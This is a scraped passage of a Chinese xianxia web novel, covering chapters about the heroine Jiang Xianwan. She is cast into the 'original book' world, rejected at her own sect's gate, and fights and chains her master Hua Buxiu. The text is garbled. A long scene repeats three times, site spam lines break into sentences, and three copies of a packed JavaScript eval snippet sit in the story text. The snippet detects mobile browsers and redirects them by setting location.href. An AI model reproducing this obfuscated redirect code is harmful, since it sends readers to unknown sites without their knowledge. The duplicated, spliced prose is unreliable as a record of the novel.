此番,逆子的骨头终于是软了,还与凤仪几人催生出一线情丝。 余下的那些个,抗不住她煞气的,刚生出的情丝立马就被逆子自个儿斩报销了。 但不管怎么说,这些已是天大的进步。 值得表扬! 别说。 看逆子谈起情,说起爱,把凤仪五个玩儿的跟特么狗似的……居然还挺有意思。 就是不知道,待双生子醒来,逆子还能不能笑出声。 想看。 恰巧,时不我待。 潜藏于林轻染神识内的变数,竟屡次三番欲诛杀逆子。 逆子也是子! 纵有千般不是,岂容此等魍魉宵小恣意猖狂? 又唯恐逆子心性未坚,索性再下一剂猛药,将其送回三百年前的悲剧原点。 再度历经双生子之死,这块顽石终被磨去些许锋芒,学会了妥协。 长进。 还真是长进。 天道不仅要逆子彻底诛灭那变数,亦须使凤仪五人安然归位,重临仙庭。 而今,一切筹谋皆系于此,终局之战已然来临。 天道在等。 就等那逆子先低头。 下一步棋便能落下。 结果左等右等,那逆子依旧面无表情地僵着。 看的是火冒三丈。 但气归气,对于逆子的脉,还是摸得门儿清。 这一局,就看谁沉不住气。 天道不急。 逆子也不急。 江献晚又不是傻的。 天道在等她主动。 等她低头。 看,这就是天道。 天道之下,皆蝼蚁。 天道想做什么,谁敢竖指反天。 她梗着脖子,犟了一会儿,余光扫过蚌壳内毫无生机的双生子,耐着性子用了半天时间,把犟骨磨了两分。 但嘴依然很硬。 “不要个**!” 天道:“……”气的劈叉。 下召天雷。 小紫:“……”为什么夹在中间的,总是它?! 非得这么玩紫吗? 她是子,它也是紫。 让紫抽子,天道这事儿……干的漂亮! 小紫还能怎么办? 上去就是……一鞭子! 江献晚被小紫连续不断劈了整整七日,小脸乌漆麻黑,形若焦炭。 看见没? 跟天道比硬。 就这结果! 她在树下躺了好一会儿,体内的雷电之力终于被磨耗大半。 回光返照似的弹坐起身,低头瞅了一眼指尖跳动的灵力。 水灵灵的渡劫期。 再看身上的衣裙,抠搜花美人给他们裁的青衣。 师徒五人,人手一套,整整齐齐。 最后又拨弄了一下足踝的三个铃铛。 她……回来了?! 江献晚猛然扭头,匆匆扫过不远处的破山头,将视线定格在‘太虚宗’三个大字上。 她回来了?! 她真的回来了?! 想到江行行,立刻从地上一跃而起,匆忙来到山门前,就要举步穿过。 谁知,守山门的两个弟子,齐齐抬起胳膊,拦下了她。 第一个还挺礼貌。 “**,何人敢擅闯我太虚宗?” 另一个。 就比较直白。 “咋滴,我俩这么大个人,都入不了阁下的眼?” “就硬闯是吧?” 江献晚:“……?” 什么硬闯? 硬闯什么? 谁太虚宗? 还阁下? 妈的。 她回她自个家,还不成了? 几天不见,跟她玩这种情趣? “别闹了,我要见掌门!” 俩弟子:“……” 她要见谁? 掌门? 她咋不见帝尊呢! 他们家掌门,也是谁想见就能见的? 交换了一个眼神,见这个陌生的不速来客,闷着头往里走。 还用一种很自来熟的语气,厚着脸皮,指明要见他们家掌门。 不约而同,朝她露出一个‘你脑壳是不是有大病’的古怪神色。 江献晚:“……” 愣了足足两分钟。 天道之下,皆蝼蚁。 天道想做什么,谁敢竖指反天。 她梗着脖子,犟了一会儿,余光扫过蚌壳内毫无生机的双生子,耐着性子用了半天时间,把犟骨磨了两分。 但嘴依然很硬。 “不要个**!” 天道:“……”气的劈叉。 下召天雷。 小紫:“……”为什么夹在中间的,总是它?! 非得这么玩紫吗? 她是子,它也是紫。 让紫抽子,天道这事儿……干的漂亮! 小紫还能怎么办? 上去就是……一鞭子! 江献晚被小紫连续不断劈了整整七日,小脸乌漆麻黑,形若焦炭。 看见没? 跟天道比硬。 就这结果! 她在树下躺了好一会儿,体内的雷电之力终于被磨耗大半。 回光返照似的弹坐起身,低头瞅了一眼指尖跳动的灵力。 水灵灵的渡劫期。 再看身上的衣裙,抠搜花美人给他们裁的青衣。 师徒五人,人手一套,整整齐齐。 最后又拨弄了一下足踝的三个铃铛。 她……回来了?! 江献晚猛然扭头,匆匆扫过不远处的破山头,将视线定格在‘太虚宗’三个大字上。 她回来了?! 她真的回来了?! 想到江行行,立刻从地上一跃而起,匆忙来到山门前,就要举步穿过。 谁知,守山门的两个弟子,齐齐抬起胳膊,拦下了她。 第一个还挺礼貌。 “**,何人敢擅闯我太虚宗?” 另一个。 就比较直白。 “咋滴,我俩这么大个人,都入不了阁下的眼?” “就硬闯是吧?” 江献晚:“……?” 什么硬闯? 硬闯什么? 谁太虚宗? 还阁下? 妈的。 她回她自个家,还不成了? 几天不见,跟她玩这种情趣? “别闹了,我要见掌门!” 俩弟子:“……” 她要见谁? 掌门? 她咋不见帝尊呢! 他们家掌门,也是谁想见就能见的? 交换了一个眼神,见这个陌生的不速来客,闷着头往里走。 还用一种很自来熟的语气,厚着脸皮,指明要见他们家掌门。 不约而同,朝她露出一个‘你脑壳是不是有大病’的古怪神色。 江献晚:“……” 愣了足足两分钟。 天道之下,皆蝼蚁。 天道想做什么,谁敢竖指反天。 她梗着脖子,犟了一会儿,余光扫过蚌壳内毫无生机的双生子,耐着性子用了半天时间,把犟骨磨了两分。 但嘴依然很硬。 “不要个**!” 天道:“……”气的劈叉。 下召天雷。 小紫:“……”为什么夹在中间的,总是它?! 非得这么玩紫吗? 她是子,它也是紫。 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江献晚被小紫连续不断劈了整整七日,小脸乌漆麻黑,形若焦炭。 看见没? 跟天道比硬。 就这结果! 她在树下躺了好一会儿,体内的雷电之力终于被磨耗大半。 回光返照似的弹坐起身,低头瞅了一眼指尖跳动的灵力。 水灵灵的渡劫期。 再看身上的衣裙,抠搜花美人给他们裁的青衣。 师徒五人,人手一套,整整齐齐。 最后又拨弄了一下足踝的三个铃铛。 她……回来了?! 江献晚猛然扭头,匆匆扫过不远处的破山头,将视线定格在‘太虚宗’三个大字上。 她回来了?! 她真的回来了?! 想到江行行,立刻从地上一跃而起,匆忙来到山门前,就要举步穿过。 谁知,守山门的两个弟子,齐齐抬起胳膊,拦下了她。 第一个还挺礼貌。 “**,何人敢擅闯我太虚宗?” 另一个。 就比较直白。 “咋滴,我俩这么大个人,都入不了阁下的眼?” “就硬闯是吧?” 江献晚:“……?” 什么硬闯? 硬闯什么? 谁太虚宗? 还阁下? 妈的。 她回她自个家,还不成了? 几天不见,跟她玩这种情趣? “别闹了,我要见掌门!” 俩弟子:“……” 她要见谁? 掌门? 她咋不见帝尊呢! 他们家掌门,也是谁想见就能见的? 交换了一个眼神,见这个陌生的不速来客,闷着头往里走。 还用一种很自来熟的语气,厚着脸皮,指明要见他们家掌门。 不约而同,朝她露出一个‘你脑壳是不是有大病’的古怪神色。 江献晚:“……” 愣了足足两分钟。 第 325 章 气笑 用力闭了一下眼,抬眸又狠狠看向‘太虚宗’那三个比她脑袋都大的字。 难道这两个新来的弟子不认识她? 可就算不认识她,总该认识她身上这身青衣吧? 不对! 意识到某种可能,和天道最后别有深意、不怀好意地猥琐笑声,江献晚心头突地一跳,脸色顿时难看起来。 狗、天、道——!!! 不要个**的,狗、天、道——!!! 天道:“……” 真的。 逆子骂人好特么脏——! 两个守山门的弟子完全看不出她的修为,但也不会因她熟稔的语气就轻易允许她进太虚宗。 南境第一宗的掌门,谁想见就能见的吗? 这又不是动物园! 更不是菜园! 日理万机,很忙的好吧? 其中一个好脾气的笑笑,“掌门事务繁忙,道友若有要事,我替道友往上头传达一二可好?” 他们能接触的也只是外门长老级别的人物。 若要往上递信,须走严格的流程,一道一道来。 再者,这女子若真跟他们家掌门相熟,要么方才就该拿出有力的证据,或者,上头早通知了。 这么说,单纯就是找个借口,敷衍她一下,将人打发走。 被拒之门外,睁眼看着自个的家,不能回的江献晚,表情晦暗莫测,盯了两个弟子半晌。 缓缓吸了一口气,试探道:“我师尊凤仪剑尊可在宗门?” 果然。 两个弟子猛然色变,眼珠子一瞬瞪的快要掉出来,不可思议的瞅了一眼彼此,交换一个噼里啪啦的眼神。 不是。 谁是……她师尊? 她师尊……是哪个? 凤仪剑尊? 怎么还乱认师尊呢? 终于不耐烦的道:“师尊?“道友莫不是走错了地方?还是认错了师尊?” “开什么玩笑,我家剑尊虽说收了一位女弟子,两境三域谁不知这位女弟子是谁?” 说到女弟子,两个弟子神色古怪了些。 又瞅了瞅江献晚。 你的朋友正在书荒,快去帮帮他吧 就差把‘你一定是个山顶洞人’这句话,写脸上了! 江献晚眼底幽昧朦胧,表情风平浪静,淡淡道:“是谁?” 后者大感震惊,大感赞叹。 还颇为无语。 “还能是谁?自然是即将登位的界皇!” 总之不会是你! 人人都知道的事儿,她还搁这冒充他家剑尊徒弟! 跑到他们太虚宗攀亲戚了? 一会儿掌门,一会儿剑尊,她待会儿是不是还想说,他家帝尊是她夫君? 就搞笑。 编谎话,能不能先打打草稿,搞得他俩跟个**似的。 他们虽然没道德,没底线,又不是没脑子! 江献晚:“……” 云为泽本来就是她的好吧! 用得着说吗! 她现在觉得她才是没脑子的那个! “界皇。” 江献晚慢慢咀嚼这两个字,眉眼逐渐沉凝。 没有硬闯,转脚去了破山头。 在看到几间摇摇欲坠的茅草屋旁,筑着一座外观精巧的小院,一颗心彻底沉到了谷底。 这院子内别有洞天。 室内的陈设极尽奢华,绮罗珠翠,暗香浮动。 一望便知是女子闺阁。 江献晚缓缓抬眸,冷冷道:“天道,解释。” 为何将她踹到原书世界! 天道:“……” 自然不会为她解惑。 只想静静等逆子发疯。 见天道装死,江献晚等不到回应,便自己找。 她从芥子囊中翻出玉简,点开置顶的聊天框,赫然是囊括两境三域所有修士的‘相侵相碍’群。 此刻,群里消息正疯狂滚动,弹指间刷了百条。 吃猫的耗子:“林轻染竟然真的点亮了界碑!一个月后,就要当着两境三域所有修士的面,登万阶天梯,连上三十三座殿,正式继任界皇!好家伙,这排面!就问还有谁!!!” 摇头晃脑的王八:“她还要在那天一口气跟那十八位大婚?!这事儿是真的吗?!界域的道友,在么?在么?看到请回答!” 浑身长痘 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,想吃辣炒白天鹅的美**:“在你大爷的么!不是昭告两境三域了吗?**听的没错!” 暴躁魔魔:“嗷!我家有两个要入赘!” 界皇的走狗:“我们自个家还特么仨呢!” 我的尾巴天下第一好看:“我们家也是仨!” 我失恋了:“同上!呜呜呜……帝尊……掌门……裴师兄……呜啊!这哪个拎出来,不是白月光?!” 笔直笔直的剑修:“我宗损失七个!七个!【撕心裂肺!!!阴暗爬行!!!痛不欲生!!!】” 蒜泥倒霉:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302897|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈呀!十八个啊!只能说一句:牛逼!” 江献晚:“……” 暴雪般的消息,夹杂着两境三域各种互相贺喜、同喜,几乎淹没了整个玉简界面。 江献晚黑着脸,死死盯着玉简,呼吸陡然急促起来。 只觉……天都塌了! 该死的天道! 竟然真的将她踹进了原书里! 这十八个将要与林轻染大婚的美人,还特么都是她认识的! 就……特么搞笑! 实际上,江献晚也确实笑出了声。 当然。 纯属气的。 她只手遮脸,唇角溢出轻轻的笑音,很难让人不怀疑,她此刻……已经有些疯了。 好的很。 真是好的很。 天道又他娘拉了坨大的! 先是拿双生子,来捅她心窝子,又拿花美人他们……给她添堵! 生怕恶心不死她! 妈的! 非得这么玩儿是吧? 她这会儿可谓是暴躁到了极点,因双生子,因江行行,因回不去…… 撕了天的心都有了!!! 戾气微薄的眸,宛如冰锥,绞紧玉简上滚动不停、铺天盖地的信息。 忽然咬着后槽牙,恨恨打下五个字。 在满屏相互贺喜之中尤为突出。 相见恨晚:“成、她、娘、的、屁——!!!” 成婚? 他们成婚? 原书也不行!!! 三个感叹号! 心情可想而知!!! 瞬间。 相侵相碍信道里,画风突变。 麻辣不够辣:“**!这虎娘们是谁啊?!我特么没看错吧?她说的是成婚吧?成她娘的……屁?” 十亿女修的梦:“别刷屏!我刚才好像也看到了!这女的大放什么厥词!成她娘的屁?这个她指的是谁?该不会是林轻染吧!” 老衲一头白发:“还真是!我去,她是想开了还是想开了,就这么不想活的吗?谁给她的勇气?勇到这种地步,也是没谁了!” 一身正气结果漏气:“我以为在下的两种气,已是天下无敌,没想到她的气更牛逼!见过勇的,没见过这么勇的!这特么是有病真发疯啊!不过,她在为谁发疯?难不成是那十八位……中的谁?” 饭盒掏空者:“各位道友!一刻钟!我要知道这虎娘们的全部信息!” 浑身难瘦:“本座命令你们,掘地三尺,也要将此人找出来!就问,这世上还、有、谁——!” 第 326 章 大冤种 准界皇和十八位准皇夫皆在信道之内他们都不敢说半个不好的字她就这么水灵灵的说出来了?! 还说的如此粗俗、直白? 好希望这位勇士能多活三秒。 让他们多见证一下奇迹! 被无数修士艾特的江献晚 下一秒。 两境三域再次见证了……又一个奇迹。 相见恨晚艾特了所有修士:“林轻染能登上三十三殿娶到一个算、他、妈、我、输!” 妈的! 她心情本来就不好! 霸占她和双生子的东西就算了还想娶她的男人? 娶个屁! 都、特、么、别、活! 江献晚留下这么一句没再看那疯狂闪烁的玉简直接下线。 更没看见十八位准皇夫突然齐刷刷上线。 还有……准界皇冷冷的留言。 **莫过诛心! 江献晚俨然破防! “天道!” “******!你特么最好是……藏、好、了——!” 静静看着这一切的天道……藏的很好。 还很满意外加幸灾乐祸。 笑麻了好吧! 逆子平等创死每一个的战斗力从来不叫人失望。 不过她真的活该。 当初凤仪他们哪个不是被她弃之如敝各个寻死觅活的。 现在遭报应了吧? 还……破大防了。 嘿嘿…… 别说。 逆子铁青的脸还真就挺好看! 江献晚扶着树干的指尖缓慢而深深的嵌入其中将无辜的大树……一下握成漫天齑粉。 她用一种能把人剜死的眼神恶狠狠地剜着面前精致的小院。 “哈。” 竟是蓦地又发出一连串愉悦的轻笑。 好哇。 书中花美人竟然收了林轻染为徒? 可……凭什么她住的是破茅草屋她林轻染就可以拥有这么一座漂 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 亮的独栋小院! 偏心! **也太**偏心了! 不是抠搜吗! 不是没钱吗! 那她算什么? 算她活该? 算她倒霉? 算他花美人…… 好你个花不休! 别等她回去了!!! 一袖正要将那座小院轰成碎渣想了想连地皮一块挖进了芥子囊留下一个巨大无比的深坑。 她要不了的谁都别想要! 她没有的林轻染也别想有! 原书也不行! 江献晚一拳又干穿了一棵树。 别说这一拳还真挺爽。 她竟然短暂的想起了狼太灰。 随后直接躺平。 没错。 她在等花不休。 这破山头有花不休留下的一抹神识她擅闯此地还拔了林轻染的小院揭了破山头的地皮花不休定然会察觉。 望着那巨大的深坑江献晚又扯了扯唇角。 表面看似风平浪静心里杀机来回激荡 花不休来的很快快的让江献晚怀疑在这个世界里林轻染对他来说有多重要。 那半似谪仙半似精魅的男子凌空踏来。 身姿挺拔而颀长一身金线勾织的红色华裳如滟霭拂过尘世。 鼻梁高挺唇色淡薄眼尾微微上挑染着一抹若有若无的绯色。 周身仿佛笼着一层朦胧光晕飘逸若九天神祇。 可那眼底深处流转的幽光却像是暗夜中诱人沉沦的精魅。 纯净与诱惑在他身上交融圣洁得令人不敢亵渎又危险得叫人魂牵梦萦。 江献晚:“……” 穿的这么红这么滟这么……骚是要给谁看? 他就这么想跟林轻染成亲?! 她都没看过!!! 半点没有再见花不休的欢喜尽剩点弄死他的杀气。 花不休冷漠睥睨察觉到那股几乎凝成实质性的杀意人未至广袖一拂渡劫期的威压如万丈山岳朝那抹青衣狠狠 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 碾去! 能顷刻间移平整座院落,对方修为绝不在自己之下,甚至可能更高。 玄古大陆何时出了这样一位年少的渡劫? 可花不休根本不在乎。 他只在乎有人竟敢在他花不休头上动土! 江献晚诧异花不休的修为原来竟是渡劫期,破防……再走一波。 花不休想打死她? 花不休竟然要打死她? 好啊,他对林轻染就这么爱是吧? 那她算什么? 算她多余? 想到从前在破山头被花不休单方面碾压,揍的死去活来的苦逼日子,江献晚怨气比横死的鬼还深。 结界轰然拔地而起! 不闪不避,徒手震碎那道渡劫威压,纵身迎上—— 顶回去! 花不休足尖轻点,倏然立于树梢之巅。 待看清来人,青丝与烟青衣袂缭绕纷飞之间,竟是一张滟绝尘寰、惊心动魄的容颜。 他呼吸微不可察地一滞,神色怔然顿住。 那少女容色生得极为张扬,几乎是嚣张,一眼便再难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302898|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘却。 淡粉的指尖尚余一缕未散的金色灵光,肌肤白的赛雪,比他见过的任何一块羊脂玉都要柔腻娇嫩,仿佛轻轻一触即会化开。 只是这个从未见过、来路不明的少女……唇角正翘起阴阳怪气般的讥讽弧度。 还拿一双……**的目光,死死盯他。 花不休:“……? 她毁坏他的破山头,还是他错了? 他不该收拾她? 江献晚:“…… 呵。 他收下林轻染,还是她错了? 她不该收拾他? 昔日两师徒(小情侣)再见,一个杀气冲天,一个怨气冲天。 望着少女白皙的手指根根紧攥,其中灵力爆沸,一拳轰出。 花不休压下心底突兀升起的怪诞之感,双眸危险眯起。 旋即。 修长的五指轻轻一拢,“**剑身虚火骤燃,如凤凰振翅般灼空而起,发出一声清厉长鸣,撕裂层云、贯空直袭! 看的出,俩师徒, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这会儿都很想打死对方。 江献晚:“……” 该死的花美人! 好啊! 武器都特么掏出来了? 这赶尽杀绝的狠劲,破防的江献晚……破防再走一波! 破防的后果就是……狠狠的以下犯上! 两个渡劫期交手,足以将破山头荡为平地。 好在有江献晚布下的结界,不会惊动了太虚宗的人。 短短两招相接,花不休瞳孔微缩,眸中已难掩诧异,惊愕于她的招数和身法。 ‘浮光掠影’他分明只传授了苏清流三人,这个少女为何会?! 更令他心神震动的是,她每一式皆与他同源同韵,毫无偏差。 甚至……远比苏清流他们使得更精纯凛冽! 花不休身形骤顿,心头如掀滔天巨浪。 指节收紧,倏然收势,‘**’在掌心发出一声低抑的嗡鸣。 薄唇轻启,声音冷得像淬了冰: “你,究竟是谁?” “这些招式,又从何学来?” 看着人模狗样的花不休,江献晚呵呵冷笑。 从何学来? 跟她咬文嚼字是吧? 从、狗、那、里、学、来、的! 若放在那个世界,她定然不会不敬花不休,可花不休招招致命的打法,显然给她整红温了。 蓦地轻笑一声。 “我是谁?” 指尖金光刹那间凝作虚剑,凌空朝他脑瓜劈下。 “我**是大冤种——!” 第 327 章 因果 不是大冤种是什么! 江献晚闪身欺近,招招凌厉,打法激进。 花不休见她插科打诨,闭口不谈在何处学的,眉不悦地轻轻蹙起。 然而,当目光触及到她脸上的神色,冷的竟然让他有种脊椎发麻的心虚。 心……虚? 他……心什么虚? 这陌生又失控的感觉让他烦躁不安,以剑碎了她的灵力。 强迫自己定下心神,不去深究那诡异情绪的源头。 因为这个少女打架就跟个疯狗似的,一招狠过一招,像是……在削什么负心汉,恨不能将他给削死! 花不休:“……” 不愿毁了破山头,剑刃轻轻一拨,拆了她的招数。 江献晚原本也不舍得毁了破山头的。 可见花不休对她重拳出击的时候,还不忘护好了破山头的一草一木……又双叒叕**破防了! **! 好爱! 凭借着拥有三个时间点的记忆,最重要的是有疯狗魔皇战绩辉煌的加持,一股子狠劲,疯狂暴打花不休。 花不休还真被她激进的打法,逼的招招退避。 江献晚很快成功将这个世界里的师尊,一剑削入那本该有座小院的大坑。 双眸通红……骑上他! 双手擒了花不休的手腕,死死压在头顶! 怒声质问。 “这么爱?” “就为了林轻染?” “花不休!你**忘了大明湖畔的江献晚了吗!” 江献晚有些失控。 历经这么多变故,江行行失踪,双生子之死,一而再再而三的被天道**于股掌间。 又被一脚踹来了原书世界,看到她的人,要一起嫁给林轻染。 尽管知晓这里是原书,还是疯了。 她再不疯,就特么属乌龟的! 她干不过天道,还**干不过花不休吗! 花不休挣扎的动作一滞,盛满凉意的眸子,随着她怒其不争的质问,霎时间漫上无边无际的茫然。 江献晚。 大明湖畔…… 有这个地方吗 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ? 暂且不说他是不是为了什么林轻染。 她为何会这般生气? 而当“江献晚”这三个字入耳再看向伏在自己腰腹间的少女时他的心口竟毫无征兆地一刺。 像被什么尖锐的东西扎穿又迅疾收回只留下一种猝不及防的空响与钝痛。 花不休只觉得头颅深处如有钢针搅动一阵阵撕裂般的痛楚迫得他眼睫轻颤无力地阖了阖眼。 他至今想不通自己当初是中了什么蛊惑竟在两境众目睽睽之下 而他的沉默宛若一种无言的默许致使两境三域皆认定林轻染已是他座下弟子。 更匪夷所思的是他竟允了……与其他男人共侍一女的荒唐事! 加上他一共十八个! 特么的自个给自个戴绿帽子。 如今回想一阵又一阵的恶心止不住地从心底翻涌而上。 冥冥之中他总觉得不该如此。 却又在林轻染提出要求时开不了口发不出任何拒绝的声音。 厄弓失中州乱。 林轻染点名要他与云为泽还有雾渺和帝隐。 说只要他们答应她就能将厄弓寻回重新**虚古境下面的东西。 他们原本打算以自身**……在那一刻如同被万千无形因果缠绕神魂身不由己、鬼使神差竟都一一应允。 事后林轻染也确实寻回了厄弓甚至助南北两境重新**了中州邪物。 或许这就是命数使然他们的劫。 现下被他腰腹上的少女放肆大胆的一问花不休只觉神魂割裂出一阵从来未有过的清明捡起了自个丢失的颜面。 双眸隐隐猩红无尽伤痛是铺天盖地的后怕、慌张、心虚…… 灼烧肺腑。 灼上眼底。 为了掩盖这种莫名涌上的诸多心绪和意识到默许林轻染种种要求的举动非他心底所愿。 声音陡然拔高裹着破防的杀意: “你既执意找死我便成全……” 话音未落他周身澎湃流转的灵力骤然衰竭如潮水疾退。 花不休:“……!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 江献晚掂了掂手里幽光浮沉的锁灵链,低头呵出一声不明所以的轻笑。 倘若她知晓,花不休几人命途骤变、神智受制,皆是因她摁着仙帝的头,强制性为他们与旁人缚上一缕本不该存在的虚假情缘。 才致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302899|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使凤仪等命线崩乱,道心蒙尘,被系统趁虚而入,篡改了心神,窃尽气运。 最终陷入这万劫不复,无从挣脱的困局之中。 恐怕……会悔入骨髓,恨不能逆转光阴。 天道:“……” 所以,这就是为什么,又将逆子踢到了这里! 不然,闲的么? 况且,若不将此界林轻染与那邪物已盗取凤仪等人的气运,夺回来。 待逆子回去,恐怕无法彻底抹除那邪物。 而逆子之所以会现身于此,自然也因那冥冥之中的因果。 凤仪五人神智将倾之际,强凝起残存的一丝清明,不惜燃烧神魂,斩断与林轻染之间的虚假情缘。 他们,记起了逆子。 却不知,更不敢确定,那个眼中向来只有双生子的她,在知晓他们再也不会缠着她,是否会……如思念双生子般,在某一个时间,能想到他们。 可……这些好像都不重要了。 只知,若那人,不是江献晚,他们宁可就此湮灭于无声长夜,彻底消散于天地之间。 不得不说,在神智尽受操控,身不由己的绝境下,他们仍能做到这样一种地步。 为江献晚守身如玉,下意识远离林轻染,近乎本能的抗拒她的接近。 已是超越了意志与神魂的极限,近乎一种刻入命魂深处的执念。 但,天道不说。 就想看逆子发疯。 这,亦是她的劫。 江献晚不敢想花不休是否已与林轻染有过什么,臆想的醋意,冲的头脑昏沉一片。 几缕发丝随之垂落,若有似无地拂过他的脸颊,引得身下人一阵难以自抑的细微战栗。 她的指尖如点寒梅,不偏不倚落在他的心口。 而后一寸寸向下逡巡,最终停驻于壁垒分明的腹间,精准地按在层层衣料之下,那颗不为人知,隐秘而灼热的美人痣上。 再抬眼时,眸中水光潋滟,偏偏眼眶晕开一片惊心的红。 自嘲的嗓音,轻得如同呢喃。 “怎么?凤仪剑尊睡了我,忘了便罢,现在还要……杀了我?” 花不休浑身一僵:“……?” 她、她说什么?! 他睡了她? 可她指尖点的位置,那一颗除他之外本应无人知晓的私密印记……她又从何得知?! 第 328 章 好师尊 花不休微微启着唇,眼底一层激越而混沌的色泽,江献晚却似乎没有心情为他解惑。 看了一眼结界,拎破布似的拎起花不休,八道锁灵链将他锁在他曾经茅草屋的床榻上。 链条哗然作响,被以这样一种**又放浪的姿势,固定在榻上,花不休眼尾难得沁出一抹薄红,颊边烫意汹涌,一路烧至耳根。 厉声呵斥。 “放肆!” “放肆?” 江献晚眉尖一挑,缓缓重复这两字,仿佛听见什么可笑之语。 再放肆的她都干过! 忽的俯身压下,指尖大逆不道地捏住他下颌,逼他抬起脸来。 “花美人。”她声音压得极低,裹着一丝危险的嘲弄,“你这张嘴,我记得……明明是软的。” 她已分不清自己究竟在说什么、做什么。 极致的疲倦如潮水淹没了理智,脑海中只剩下一锅被熬得烂糊浑浊的粥。 可当目光再度触及花不休那张熟悉入骨、却写满陌生的脸。 所有强撑的冷静骤然崩裂。 毫无预兆地冲垮堤防,睫毛一颤,竟再也压不住其间迅速洇开的湿意。 花不休蓦地一怔。 撞进一双氤氲着雾气的眼眸,胸腔深处顿时如被细密针尖扎刺,泛起一股令他窒息的闷痛。 下意识停止了所有挣扎,不再动弹。 那少女狠狠捏了他的腕,自顾自的伏在榻边。 似累极,似委屈,似终于找到避风的港口。 毫无戒备,转眼呼吸变得均匀绵长。 温热的暖意透过相贴的腕间皮肤,源源不断地传来。 她力道极大,五指紧紧扣着他,像是生怕一松手,他就会跑掉消失一般。 花不休呼吸低而急促,眉心痛苦紧拧,四肢百骸却被那陌生的温热,灼得逐渐紧绷,甚至泛起难以自抑的悸动。 这些感觉无比陌生,扰的他心绪不宁,催得他不知所措。 他只知,他凤仪剑尊何曾有过如此放浪形骸,与人肌肤相贴,同处一室乃至共处于床榻这等私密之地的经历? 不由挣扎起来。 以他的修为,要毁去八道锁灵链,也不过时间问题。 可就在他刚欲运转灵力,腕骨间那几根纤白的手指,便无意识地收紧了半分。 他忍不住看向那双犹带湿意的睫毛,体内刚刚凝聚的灵力竟不由自主地涣散开来。 失神间,余光无意扫过某处,瞳孔骤然收缩,开始剧烈震颤! 阳光自窗棂洒入,碎成万千金粉,落在那层薄软的青衣之上,便隐隐折射出几道细碎的流光。 而就在那流光闪烁之处…… 花不休倏尔屏住呼吸,指尖抑制不住地轻颤,引出一缕极细的灵力,向前轻轻一勾。 三枚颜色各异、精巧无比的铃铛……赫然映入他的眼帘! 其中一枚,流火灼灼,宛如凝炼的火焰。 分明是……由他的灵力凝成! 就连系铃的锁环,也清晰烙印着他亲手炼制的痕迹! 而另外两枚…… 一枚清冷如月辉,一枚沉邃似永夜。 不是云为泽与帝隐的手笔,又能是谁?! 三枚铃铛,无声垂落,恍若明晃晃的昭告: 他们,皆是……她的人! 方才交手时那隐约萦绕的清脆铃响……原不是错觉。 花不休心底掀起一股股惊涛骇浪,呼吸粗重急促,几乎难以自持。 她怎会有他的铃铛? 他又何时识得她,见过她,甚至亲手为她凝了这锁环与流火铃铛! 江献晚…… 她究竟是谁? 大明湖畔到底是什么地方? 他……又何时与她……有过肌肤之亲? 这些他都没有为林轻染做过,更别说多看林轻染一眼! 就连那座小院,也是云里雾里,由着林轻染自作主张放的,至此,他便不愿再待在破山头。 难道,他真的与她相识? 真的同她……睡过? 花不休死死盯着少女的睡颜,近乎疯狂地在记忆中搜寻,不放过任何一丝细微的异常。 以他的修为,即便是最寻常的琐事也绝不会遗忘。 记忆清晰完整,严丝合缝,根本揪不出半点与这少女相关的痕迹。 那她足踝上那枚由他亲手炼制的流火铃铛,究竟从何而来?! “师尊……” 一声似风般缥缈的轻喃,恍若穿透了时空隧道,跨过了漫长岁月,轻轻落在耳畔。 少女睡得深沉,半张脸浸在刺目的阳光里,神情是全然的放松,卸下了所有防备与尖刺。 或许觉得不甚舒服,像猫儿般无意识地用脸颊蹭了蹭他的掌心。 纤长的睫毛刷过皮肤,留下温热而潮湿的触感,花不休心跳骤然一停,随即莫名地狂跳起来。 师尊…… 她喊他师尊。 他虽没有能说出拒绝林轻染的话,也下意识不许她喊他师尊! 更与她无半点师徒情谊! 可,这一声“师尊”,竟似……本该如此。 江献晚并未沉睡太久,结界的晃动将她惊醒。 她昏沉地睁开眼,对上花不休那双复杂而陌生的视线,一时恍惚,不知今夕何夕,下意识地歪头,冲他露出一个浅淡却柔软的笑意。 嗓音里还带着浓重睡意的娇憨: “师尊尊……” 花不休:“……” 他眼中复杂的审视,很快让江献晚清醒过来。 唇角那点笑意渐渐沉下,直至彻底消失。 